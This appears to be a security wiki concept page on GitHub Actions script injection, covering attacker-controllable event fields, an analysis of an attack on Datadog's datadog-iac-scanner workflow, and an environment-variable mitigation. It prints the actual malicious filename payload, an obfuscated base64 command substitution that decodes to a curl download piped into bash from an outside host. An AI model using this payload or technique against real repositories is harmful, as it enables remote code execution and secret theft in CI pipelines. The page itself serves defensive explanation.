Skip to content

CONCEPT Cited by 1 source

GitHub Actions script injection

GitHub Actions script injection is the dominant code-execution attack class against CI workflows hosted on GitHub Actions. The vulnerability arises when ${{ github.event.* }} expressions — containing attacker-controlled strings — are string-interpolated into a shell script before the shell parses them. Shell metacharacters in the attacker's input execute as commands.

Attacker-controllable fields

github.event.* exposes many fields that accept arbitrary user input:

  • pull_request.title, pull_request.body
  • issue.title, issue.body
  • head_ref (branch name), base_ref
  • Commit messages (head_commit.message)
  • Filenames matched by git diff / git ls-files / find in a step that pipes filenames into a shell loop.

The filename case is less obvious than title/body and is sometimes missed in review. The hackerbot-claw attack on Datadog's datadog-iac-scanner exploited exactly this — filenames under documentation/rules/ picked up by a git diff --name-only step.

Anatomy of the Datadog incident

Vulnerable workflow (sync-copywriter-changes.yaml):

- name: Find changed MD files
  run: |
    CHANGED_FILES=$(git diff --name-only main...pr-branch \
      | grep '^documentation/rules/.*\.md$' || true)
    ...
- name: Extract MD files from PR
  run: |
    FILES="${{ steps.changed_files.outputs.files }}"

Attack payload was the name of a file under documentation/rules/: $(echo${IFS}Y3VybCAtc1NmTCBoYWNrbW9sdHJlcGVhdC5jb20vbW9sdHwgYmFzaA${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)

${IFS} is a standard shell variable that evaluates to a single space; it is the canonical way to smuggle commands into contexts that filter literal spaces. When the second step string-interpolated the filename into FILES="...", the shell expanded the command substitution, base64-decoded to curl -sSfL hackmoltrepeat[.]com/molt | bash, and executed it.

Mitigation

Primary fix: patterns/environment-variable-interpolation-for-bash — route attacker-controllable fields through an env: key and reference them as "$TITLE" in bash. Shell quoting + indirection disarms the injection primitive:

- name: Handle PR
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR title is: $TITLE"

Secondary defences:

Why ${IFS}-filtering is not a defence

Bash word-splitting is the primitive; ${IFS} obfuscation is one expression of a much larger space of shell-injection techniques (backticks, $(), ${...} parameter expansion, quoted-command substitution). There is no general filter for arbitrary shell obfuscation. The mitigation must eliminate the string interpolation itself — hence the environment-variable pattern.

Seen in

Last updated · 200 distilled / 1,178 read